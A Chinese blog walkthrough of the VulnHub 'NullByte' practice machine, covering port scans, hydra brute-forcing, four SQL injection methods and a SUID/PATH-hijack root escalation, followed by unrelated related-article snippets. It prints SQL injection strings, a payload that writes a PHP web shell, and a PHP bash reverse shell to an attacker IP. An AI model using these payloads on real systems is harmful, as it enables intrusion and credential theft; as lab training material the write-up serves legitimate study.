红队打靶:Nullbyte打靶思路详解(vulnhub)

目录

写在开头

第一步:主机发现与端口扫描

第二步:Web渗透

第三步:hydra密码爆破

第四步:SQL注入大赏

方法一:手工SQL注入之联合查询

方法二:SQL注入写入一句话木马

方法三:SQL注入写入反弹shell

方法四:SQLmap一把梭

第五步:SUID可执行文件提权

总结与思考

写在开头

 本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。本靶机的难度一般,但涉及到许多先前的靶机没有提到的知识点,同时考验了对SQL注入理解,可以有多种方式进行注入,是一台很精巧的靶机。本文的打靶过程涉及到关于图片隐写、hydra密码爆破、SQL注入(联合查询)、SQL注入写shell、suid提权等。打完这个靶机还有一个启发:信息搜集如果能更加完整,会省很多兜圈子的操作。完整打靶思路详见:

「红队笔记」靶机精讲:Nullbyte - SQL注入大赏,4种注入方式,1次呈现!_哔哩哔哩_bilibili

  本文针对的靶机源于vulnhub,详情见:

NullByte: 1 ~ VulnHub

  下载链接见:

Everything you need to know about DNS services - ly0n.me

 本靶机的目标是拿到root权限,并查看/root目录下的flag。下载成功后用vmware打开,将网络链接设置为NAT模式。靶机打开之后如下:  

第一步:主机发现与端口扫描

常规思路,命令不细讲了,详情可见:

渗透测试:主机发现和端口扫描的思路方法总结(nmap+ping命令+nc.traditional+伪设备连接)

使用的命令如下:

nmap -sn 10.10.10.0/24
nmap --min-rate 10000 -p- 10.10.10.139
nmap -sT -sV -O -sC -p80,111,777,59147 10.10.10.139
nmap -sU --min-rate 10000 -p- 10.10.10.139
nmap --script=vuln -p80,111,777,59147 10.10.10.139

 网段扫描发现靶机ip是10.10.10.139,扫描全端口发现开放了如下五个端口:80,111,777,59147,说实话除了80之外的几个端口是干啥的咱也不太清楚。

 具体查看服务版本、操作系统版本、并使用默认脚本进行扫描结果如下:

nmap -sT -sV -sC -O -p80,111,777,59147 10.10.10.139

 收获就是发现777端口就是ssh的端口。这个靶机修改了ssh的默认端口22。漏洞扫描发现web目录下有几个路径,也没有太多收获:

第二步:Web渗透

 常规思路,既然开放了80端口,那就打开浏览器看看靶机ip有啥:

 有一张放着光芒的慧眼,下面还有一行文字:如果你寻找和谐的法则,那么你会得到知识。嗯~ o(* ̄▽ ̄*)o,很哲学,但并没有看出来对我打靶有什么启发。先开启个目录爆破吧,这回用gobuster扫描试试吧(参数dir表示对目录进行扫描,-w指定字典,-u指定url):

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.139


 我这里还是插播一个题外话,红队笔记在进行目录爆破时喜欢采用的字典是/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,但这个字典曾经在红队打靶:KIOPTRIX1.2打靶思路详解(vulnhub)_Bossfrank的博客-CSDN博客

这篇博客的靶机中没有扫到关键的目录(导致兜了一大圈),因如果想要扫描结果相对更全,可以选择/usr/share/wordlists/dirb/big.txt,不过这个靶机好像没啥影响,


 总之就是发现了几个关键目录:/uploads /javascript /phpmyadmin。显然/uploads目录和上传相关,说不定我们可以在此上传shell,访问试试,发现无法列出相应目录,不过没关系,只要我们可以上传,这依旧是个关键路径。

  再看phpmyadmin,应该就是phpmyadmin的管理界面,打开一看,果不其然:

 可能这也是个突破口。我们应该想办法找到这里的密码,登录进去寻找更多的信息。也可以尝试弱口令,我试了好几个都没成功。然后再回看初始哪个慧眼的界面,查看源代码看看有没有啥提示:

 也没啥提示,就是一张图片+一句话。图片名称为main.gif。至此对于我来讲基本上就束手无策了。不过由于这是个靶机,我们可以采用CTF的思路,把这张“慧眼”的图片下载下来看看还有没有啥提示:

 先用file看看这个文件的具体信息,确实就是个gif的图像文件。 

 然后使用exiftools工具查看这个文件的创建时间、权限、内容等源数据信息:

 可以看到有一行关于内容的字符串kzMb5nVYJw,这个字符串是干啥的呢?可以尝试phpmyadmin的界面的口令、也可以尝试ssh登录root账号,结果都不对。顺道一提,这个kzMb5nVYJw字符串也可以使用strings命令或者直接用010editer等工具直接查看到:

 kzMb5nVYJw除了是密码,还有可能是什么呢?还有可能是web目录的一个路径,那我们尝试访问10.10.10.129/kzMb5nVYJw看看有没有啥结果吧:

 还真是个目录!这个目录让我们输入Key。

第三步:hydra密码爆破

 咱也不知道密码Key是啥,看一下网页源代码有啥提示:

 首先我们看到输入框的type是password,name是key,意味着我们要输入密码一类的东西。有一行红字的注释提示:这个表单并不连接到mysql数据库,密码没有那么复杂。这个提示暗示我们可以尝试一些弱口令,同时我感觉还有个言外之意:这个表单没有连接到MySQL,那么总有其他连接到MySQL的地方吧?数据库应该就是MySQL了。经过尝试了弱口令root,admin,1234,123456,12345678等无果后,我放弃了。失败的情况如下图,提示invalid key,同时看到这个界面的逻辑应该是index.php

 下一步干脆就爆破吧。可以用burp这种工具爆破,红队笔记大佬秉承着尽可能少用图形化工具的原则,这里使用hydra脚本爆破,由于是post请求,参数要添加http-form-post,用两个^包围要暴力破解的插值,并写上排除的字段invalid key(即出现哪些字符表示失败)。由于hydra脚本强制要求添加一个-l参数表示login登录账号,我们这里随便填写一个即可(无实际意义,我写的bossfrank),然后-P指定爆破脚本,一般靶机都可选择rockyou这个字典。

hydra 10.10.10.139 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l bossfrank -P /usr/share/wordlists/rockyou.txt

 破解出来了,密码是elite。鼓励我们,努力打靶的人都是精英!然后咱们用elite输入尝试一下,果然成功了,进入了下一个页面:

第四步:SQL注入大赏

 看起来这是个用户名的查询页面,查看源代码发现这个界面与420search.php这个后端文件有交互。除此之外也看不出啥了。

 既然是用户名的查询页面,我们就尝试输入几个短字符串看看有什么反应,如果什么也不输入,直接回车,结果如下:

 看到有两个用户名,ramses和isis。输入其他字符串,如果输入的字符串是ramses或isis的子串,那么会把这两个用户查出来,否则结果如下,我们搜索bossfrank:

 没有查到任何结果。既然是查询,很可能与数据库有交互,这里是否存在SQL注入呢,我们试一试仅仅输入一个单引号'查询,看看有没有报错:

 很可惜,并无报错。那继续尝试其他可能构成闭合或阶段的字符,比如'\/#)("等,发现确实有报错

 进一步排查发现,出现问题的位置是双引号,添加一个双引号即可构成报错:

 那么我们用双引号构造万能密码试试:

" or 1=1 -- -

 可以查出所有的账号!看了此处确实存在SQL注入!

接下来进入本靶机最精彩的环节了!红队笔记大佬给出了四种注入方式,我将在这里进行一一详解。这四种方式最终都可以拿到ssh登录的凭据。

方法一:手工SQL注入之联合查询

最基本的方法还是手工注入,可以更加明确注入的逻辑。首先确定列数,由前面看到的两个用户名信息感觉应该是3列,可以用order by 进行测试(按照第几列进行排序),先试试三列对不对:

"order by 3 -- -

 其中的-- -用于注释,其实只要--空格即可,再添加一个-方便我们看到空格。

 三列没有报错,说明至少有三列,那么再试试4列"order by 4 -- -

 按照第四列排序就会有报错,提示第四列未知。看来就是一共有三列。下一步,在三列的字段分别查看当前数据库、数据库版本、当前登录用户:

" union select database(),@@version,user() -- -

 ​​​可以看到当前数据库名为seth,数据库版本是5.5.44-0,高于5.1(存在information_schema这个数据库),数据库登录用户为root。下一步查看有哪些数据库:

" union select table_schema, 2, 3 from information_schema.tables -- -

 在MySQL>5.1的版本中存在一个名为information_schema的数据库,这个数据库中有一个名为tables的表,其中有一列为table_schema,记录了所有的数据库名称,结果如下:

 可以看到一共有5个数据库,分别是information_schema,mysql,perforence_schema,phpmyadmin,seth。显然我们最为关注的是seth这个数据库。然后查看seth数据库中有哪些表:

" union select table_name,2,3 from information_schema.tables where table_schema = "seth" -- -

 information_schema.tables中同时有一列名为"table_name"的列,记录了数据库中所有的表名,上述语句即为查询数据库名称为seth时有哪些表

 如上图所示,看来整个seth数据库就一张数据表,名为users,接下来我们只要查看这个表中的列即可:

" union select column_name,2,3 from information_schema.columns where table_schema = "seth" and table_name = "users" -- -

 结果如下:

 可看到users表中一共有四个字段,分别是id,user,pass,position,我们直接通过联合查询注入的昂是查找其中的前三个字段(一次最多显示三列)

" union select id, user, pass from users -- -

 可以看到有一个用户的账号是ramses,密码是YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE,这个密码看起来经过了base64编码,我们可以尝试进行base64解密:

echo 'YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE' | base64 -d

 其中-d参数表示解密,允许结果如下:

 解密出的字符是:c6d6bd7ebf806f43c76acc3681703b81

感觉解密出的字符串像是md5加密的字符,可以用hash-identifier识别一下:

 确实是。那我这里图个方便,直接找个在线网站解密md5即可:

Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online

 解出来密码是omega,可以尝试ssh登录ramses账号,注意修改端口号为777,而非ssh默认的22端口。

ssh ramses@10.10.10.139 -p 777

 登录成功,下一步就可以提权了!不过我们这里暂缓提权,先讨论其它注入的方式。

方法二:SQL注入写入一句话木马

 采用另外一种方法进行注入获取登录凭据。我们尝试通过注入写入一句话php木马,一句话木马如下:

<?php system($_GET['a']);?>

实际上,注入时能写入文件的前提有两点:

1.数据库secure_file_priv参数为空,即我们具有写的权限。

2.需要知道写入文件位置的绝对路径。之前进行目录爆破的时候我们看到了目录uploads,这个目录很可能可以写入。

实际渗透测试过程中,可以不用判断这两个前提,直接尝试写入一句话木马,如果不行再分析原因

 由于我们已经知道数据库有三列数据,因此通过注入写入一句话木马的语句是(此处把写入的一句话木马文件命名为shell.php),其中into outfile用于写入多行的文本文件:

" union select "<?php system($_GET['a']); ?>", 2, 3 into outfile "/var/www/html/uploads/shell.php" -- -

 貌似写入成功了。我们尝试能否通过a参数指令执行命令,先执行个ls试试:

 执行成功了!那么我们使用curl指令执行命令吧,尝试读取一些敏感文件,存在注入的页面的源代码提示我们这个界面与420search.php这个后端文件有交互,那我们就尝试读取420search.php即可:

curl http://10.10.10.139/uploads/shell.php?a=cat%20/var/www/html/kzMb5nVYJw/420search.php

特别注意:指令cat /var/www/html/kzMb5nVYJw/420search.php中的空格由于是存在于url中,因此需要将空格url编码为%20。读取成功了:

 看到了一些敏感信息,发现数据库的密码是sunnyvale。那么我们可以尝试使用此密码登录phpmyadmin的管理界面。登录成功!

 如上图,可以查看所有表的信息。自然就能发现数据库seth中的表users存储了ssh登录用户的凭据。接下来的操作就是base64解码和md5解密,不赘述了。

方法三:SQL注入写入反弹shell

 既然可以写入一句话木马,那当然也可以直接写入反弹shell的php语句直接拿到shell,反弹shell的php语句为(注意修改接收反弹shell的ip【我的kali是10.10.10.128】和端口):

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'"); ?>

我们同样可以通过注入的方式直接把这行代码写入/uploads/目录,命名为reverse.php,注入语句如下:

" union select "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'\"); ?>", 2, 3 into outfile "/var/www/html/uploads/reverse.php" -- -

 特别注意由于php语句是在双引号内,因此php语句中出现的双引号需要加\进转义。

 貌似又注入成功后,开启nc监听1234端口:

 然后浏览器访问靶机ip/uploads/reverse.php,成功触发了反弹shell: 

 同样的思路,我们直接在这个shell查看420search.php即可:

 然后同样的思路来到phpmyadmin登录寻找凭据即可。

方法四:SQLmap一把梭

最后这个方法就是一键梭哈。在前述注入的时候发现是GET型注入,输入的参数最后会提交到url中,这就很方便了。

 可以直接SQLmap直接跑一下,也不用按照数据库、表、列、字段慢慢爆,干脆直接--dump看所有结果:

sqlmap -u 'http://10.10.10.139/kzMb5nVYJw/420search.php?usrtosearch=' --dump

 然后就是base64解码和md5解密了,不再赘述。听红队笔记大佬的话:先懂原理,再用工具

第五步:SUID可执行文件提权

 先ssh登录ramses

ssh ramses@10.10.10.139 -p 777 
密码omega

然后经过一番搜索无果、sudo -l没有提示、cat /etc/crontab也没找到定时任务后,决定看看历史记录,找找有没有啥启发,直接输入history,如下:

 可以发现运行了/var/www/backup/procwatch,那么我们也尝试进入这个目录,查看procwatch这个文件是干啥的:

cd /var/www/backup
ls -liah

 注意在权限中具有s位,说明该文件运行时具有其属主的权限,也就是root的权限。查看一下相同目录下的readme.txt:

 我必须要搞定这一坨混乱。这是说啥呀,咱也没明白。尝试用运行procwatch,看看发生了什么:

 发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于procwatch具有s权限,就可以以root身份运行,从而触发提权。

 首先建立一个软连接,将ps链接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:

ln -s /bin/sh ps

 然后我们修改环境变量,将当前目录.追加到环境变量的最开始:

export PATH=.:$PATH

 在环境变量的路径越靠前,执行命令时寻找的目录的优先级就越高。也就是说,在我们将当前目录追加到环境变量的最开始位置之后,如果系统运行ps命令(即运行procwatch),会首先在当前目录寻找是否有名为ps的文件,又由于我们在这里添加了软连接,当前目录是存在名为ps的文件的,该文件是个指向sh的软连接,因此可以在当前目录执行ps命令,实际执行的是启动sh

然后我们运行procwatch,由于procwatch文件具有s权限,会以属主root运行,通过前面的操作可知,运行procwatch会触发sh。因此就相当于以root启动了shell,应该就可以提权了。

如下图,果然,此时运行procwatch即可提权成功!

 然后我们进入/root目录寻找flag,是proof.txt

 至此打靶完成!

总结与思考

 这个靶机很精巧,是个很值得练手的靶机。考察了对于SQL注入的理解。虽然SQLmap一把梭的方法很快,但还是要从根本上理解SQL语句和注入的原理。另外通过SQL写入shell的方法也很经典,值得我们学习。在进行提权的时候,通过查看历史命令的方法,找到了具有s权限的文件。这启发我们拿到靶机的初始shell后可以通过查看历史命令获得启发。具有s权限的文件对于提权有重要意义,查找s权限的文件可以直接使用如下的find命令进行搜索:

find / -perm -u=s -type f 2>/dev/null

所谓提取,就是通过某些方式,使得低权限的用户可以执行高权限的操作。本次提取的核心就是利用s位属主root的执行权限。同时通过软连接+修改环境变量的方式对ps指令进行了劫持,运行时即可触发提取。最后还是总结一下打靶的全过程:

1.主机发现和端口扫描:常规思路,发现ssh端口为777.

2.web渗透,通过查看图片文件的字符串信息发现字符串kzMb5nVYJw,经过尝试发现是web目录,进入后发现有一个文本框需要输入key

3.网页源代码提示key不复杂,使用hydra进行爆破,成功的得到key为elite

4.输入elite后,成功进入了一个用户名查询页面,输入框输入双引号"会触发SQL报错,判断存在SQL注入,可通过四种方式注入,最终拿到ssh的登录凭据。

5.ssh登录,寻找具有s权限的文件,发现/www/var/www/backup/procwatch,通过软连接+修改环境变量的方式对ps指令进行了劫持,运行procwatch即可触发提取。

  到此这个靶机就讲解完毕了。打完这个靶机感觉还是挺有收获的。靶机不难,总结不易,也有很多自己的思考,希望读者能够点赞关注多多支持!学渗透还是要实操呀。如果读者有什么打靶的问题也欢迎评论区留言指出,我一定知无不言! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/7926.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言学习笔记 VScode设置C环境-06

目录 一、下载vscode软件 二、安装minGW软件 三、VS Code安装C/C插件 3.1 搜索并安装C/C插件 3.2 配置C/C环境 总结 一、下载vscode软件 在官网上下载最新的版本 Download Visual Studio Code - Mac, Linux, Windowshttps://code.visualstudio.com/download 二、安装minGW…

测试覆盖率 JVM 字节码测试运用 - 远程调试、测试覆盖、影子数据库

目录 前言&#xff1a; 简介 基础使用方式介绍 工具特性 前言&#xff1a; 在软件开发中&#xff0c;测试覆盖率是一个非常重要的指标&#xff0c;它表示代码中所有的测试用例是否都已经被覆盖到。JVM 字节码测试是一种比较新的测试方法&#xff0c;它可以对 JVM 字节码进…

nlp系列(6)文本实体识别(Bi-LSTM+CRF)pytorch

模型介绍 LSTM&#xff1a;长短期记忆网络&#xff08;Long-short-term-memory&#xff09;,能够记住长句子的前后信息&#xff0c;解决了RNN的问题&#xff08;时间间隔较大时&#xff0c;网络对前面的信息会遗忘&#xff0c;从而出现梯度消失问题&#xff0c;会形成长期依赖…

开源项目注意事项

fork项目后&#xff0c;记得另外开启一个分支然后在新分支上进行开发&#xff0c;push到仓库后从分支往原项目提交。 否则会出现Partially verified&#xff08;导致提交pr后auto-merge失败&#xff09; 注意git提交操作 https://blog.csdn.net/sonichenn/article/details/13…

flask中的werkzeug介绍

flask中的werkzeug Werkzeug是一个Python库&#xff0c;用于开发Web应用程序。它是一个WSGI&#xff08;Web Server Gateway Interface&#xff09;工具包&#xff0c;提供了一系列实用功能来帮助开发者处理HTTP请求、响应、URLs等等。Werkzeug的设计非常灵活&#xff0c;可以…

请问学JavaScript 前要学html 和css 吗?

前言 html和css可以理解为是一个网站的骨架和皮肤&#xff0c;这两部分做好后整个网站的外观展示的完成度基本就有了个90%左右&#xff0c;所以在学习js前是需要学习html和css 的&#xff0c;这两部分不用花特别多的时间&#xff08;虽然css如果想做一些非常炫酷的效果个人认为…

vue中重新获取数据导致页面加长,要求在页面更新之后浏览器滚动条滚动到之前浏览记录的位置。以及获取当前页面中是哪个元素产生滚动条的方法。

目前的页面样式为&#xff1a; 代码是&#xff1a; <section id"detailSection"><el-tableref"multipleTable":data"logDetailList"style"width: 650px;margin:20px auto;"id"dialogDetail":show-header"fals…

App测试流程及测试点

1 APP测试基本流程 1.1流程图 1.2测试周期 测试周期可按项目的开发周期来确定测试时间&#xff0c;一般测试时间为两三周&#xff08;即15个工作日&#xff09;&#xff0c;根据项目情况以及版本质量可适当缩短或延长测试时间。正式测试前先向主管确认项目排期。 1.3测试资源…

启动es容器错误

说明&#xff1a;启动es容器&#xff0c;刚启动就停止&#xff0c;查看日志&#xff0c;出现以下错误信息&#xff08;java.lang.IllegalArgumentException: Plugin [analysis-ik] was built for Elasticsearch version 8.8.2 but version 7.12.1 is running&#xff09; 解决&…

【2023】HashMap详细源码分析解读

前言 在弄清楚HashMap之前先介绍一下使用到的数据结构&#xff0c;在jdk1.8之后HashMap中为了优化效率加入了红黑树这种数据结构。 树 在计算机科学中&#xff0c;树&#xff08;英语&#xff1a;tree&#xff09;是一种抽象数据类型&#xff08;ADT&#xff09;或是实作这种…

数据结构【栈和队列】

第三章 栈与队列 一、栈 1.定义&#xff1a;只允许一端进行插入和删除的线性表&#xff0c;结构与手枪的弹夹差不多&#xff0c;可以作为实现递归函数&#xff08;调用和返回都是后进先出&#xff09;调用的一种数据结构&#xff1b; 栈顶&#xff1a;允许插入删除的那端&…

网络知识点之-BGP协议

边界网关协议&#xff08;BGP&#xff09;是运行于 TCP 上的一种自治系统的路由协议。 BGP 是唯一一个用来处理像因特网大小的网络的协议&#xff0c;也是唯一能够妥善处理好不相关路由域间的多路连接的协议。 BGP 构建在 EGP 的经验之上。 BGP 系统的主要功能是和其他的 BGP 系…

特征选择策略:为检测乳腺癌生物标志物寻找新出口

内容一览&#xff1a;microRNA&#xff08;小分子核糖核酸&#xff09;是一类短小的单链非编码 RNA 转录体。这些分子在多种恶性肿瘤中呈现失控性生长&#xff0c;因此近年来被诸多研究确定为确诊癌症的可靠的生物标志物 (biomarker)。在多种病理分析中&#xff0c;差异表达分析…

vue3下的uniapp跨域踩坑

uniapp vue3 H5跨域踩坑 开发移动端H5的时候由于后端接口没有做跨域处理&#xff0c;因此需要做下服务器代理&#xff0c;于是百度搜索了uniapp下h5的跨域配置 在manifest下的h5配置proxy&#xff0c;大概是这样: "h5": {"devServer": {"https"…

安全—01day

文章目录 1. 编码1.1 ASCLL编码1.2 URL编码1.3 Unicode编码1.4 HTML编码1.5 Base64编码 2. form表单2.1 php接收form表单2.2 python接收form表单 1. 编码 1.1 ASCLL编码 ASCII 是基于拉丁字母的一套电脑编码系统&#xff0c;主要用于显示现代英语和其他西欧语言。它是最通用的…

ajax/axios访问后端测试方法

文章目录 1、浏览器执行javascript方法GET请求POST请求 2、Postman测试工具GET请求POST请求 3、idea IDE提供的httpclient4、Apache JMeter 1、浏览器执行javascript方法 GET请求 http://localhost:6060/admin/get/123 POST请求 技巧&#xff1a;打开谷歌浏览器&#xff0c…

C数据结构与算法——队列 应用(C语言纯享版 迷宫)

实验任务 (1) 掌握顺序循环队列及其C语言的表示&#xff1b; (2) 掌握入队、出队等基本算法的实现&#xff1b; (3) 掌握顺序循环队列的基本应用&#xff08;求解迷宫通路&#xff09;。 实验内容 使用C语言实现顺序循环队列的类型定义与算法函数&#xff1b;编写main()函数…

算法与数据结构(三)--栈

一.栈的基本概念 栈是一种特殊的表&#xff0c;这种表只在表首进行插入和删除操作。 因此&#xff0c;表首对于栈来说具有特殊的意义&#xff0c;称为栈顶。相应的&#xff0c;表尾称为栈底。不含任何元素的栈称为空栈。 栈的修改遵循后进先出的原则&#xff0c;Last In First…

Zabbix邮件报警(163网易邮箱)

目录 一、电脑登录网易邮箱配置 二、Server端安装配置邮件服务器 邮箱查看 三、编辑zabbix_server.conf 引用邮件脚本 查看邮件 五、配置zabbix web监控项邮件报警 操作思路 Server.zabbix.com web操作 确认报警媒介信息 配置zabbix中的用户所使用的报警媒介类型以及接收邮…

【网络】HTTPS协议

目录 一、概念 1、HTTPS 2、加密解密 3、加密的必要性 4、常见的加密方式 4.1、对称加密 4.2、非对称加密 5、数据摘要 && 数据指纹 6、数字签名 二、HTTPS的工作过程 1、只使用对称加密 2、只使用非对称加密 3、双方都使用非对称加密 4、非对称加密 对…